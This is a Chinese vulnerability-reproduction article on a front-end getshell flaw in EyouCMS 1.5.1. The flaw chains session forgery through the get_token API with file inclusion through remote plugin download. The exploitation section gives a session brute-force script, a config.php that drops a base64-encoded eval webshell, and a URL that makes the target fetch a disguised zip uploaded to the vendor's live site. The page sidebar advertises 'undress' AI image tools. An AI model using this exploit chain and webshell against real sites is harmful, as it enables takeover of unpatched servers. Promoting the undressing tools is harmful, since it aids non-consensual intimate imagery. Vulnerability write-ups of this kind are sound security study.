目录
0x00 漏洞简介
0x01 影响版本
0x02 环境搭建
0x03 漏洞分析
0x04 漏洞利用
0x05 修复建议
首页 运维 安全 如何进行EyouCMS V1.5.1 前台getshell漏洞复现

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

May 20, 2023 pm 08:14 PM
getshell eyoucms

0x00 漏洞简介

赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。

Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。

0x01 影响版本

EyouCMS <= 1.5.1

0x02 环境搭建

下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

安装
通过phpstudy集成环境简单部署
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x03 漏洞分析

前台设置管理员session在application/api/controller/Ajax.php:215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

函数是可以前台随意调用的,另外形参中的

$name

变量也是通过http传递进来的。跟进token函数,如下图所示。
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54如何进行EyouCMS V1.5.1 前台getshell漏洞复现

这里涉及到了两个session,一个admin_login_expire,一个admin_id

if (session(&#39;?admin_id&#39;) && getTime() - intval($admin_login_expire) < $web_login_expiretime)
登录后复制

admin_login_expire

(该session会做减法的校验,需要满足一定条件)

admin_id

(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个

check_priv

函数,跟进查看:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p>
<p>(满足小于等于0即可)<br>设置完三个session后,就可以进后台了,如图所示:<br><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>后台远程插件下载getshell在application/admin/controller/Weapp.php:1235<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>这里传进来一个$url,然后做一个url解析,需要满足host为eyoucms.com。<br>也就是程序限制只能从官网下载插件安装,但是这个校验太简单了,可以绕。<br>然后下文就是请求这个下载链接,做解压操作,并包含进来config.php。<br><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>这后面再做的插件标准判断已经不起作用了。</p>
<h3 id="strong-x-漏洞利用-strong"><strong>0x04 漏洞利用</strong></h3>
<p>前台设置一个管理员的session<br>首先我们可以先取出成功登陆后的管理员session与未登录的普通用户session做对比<br>管理员:<br><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>普通用户:<br><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>调用get_token函数设置名为admin_login_expire的session<br><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488498951.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>再查看该普通用户的session<br><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488422879.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>已成功设置。<br>同样的我们可以把admin_id与admin_info.roke_id添加进去。<br><strong>但是</strong>这md5字符串显然不符合漏洞分析中的要求,所以这里通过脚本不断刷新session,直到寻找到合适的md5值</p>
<pre class="brush:php;toolbar:false">while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])
登录后复制

运行结果:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>
登录后复制

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

以上是如何进行EyouCMS V1.5.1 前台getshell漏洞复现的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)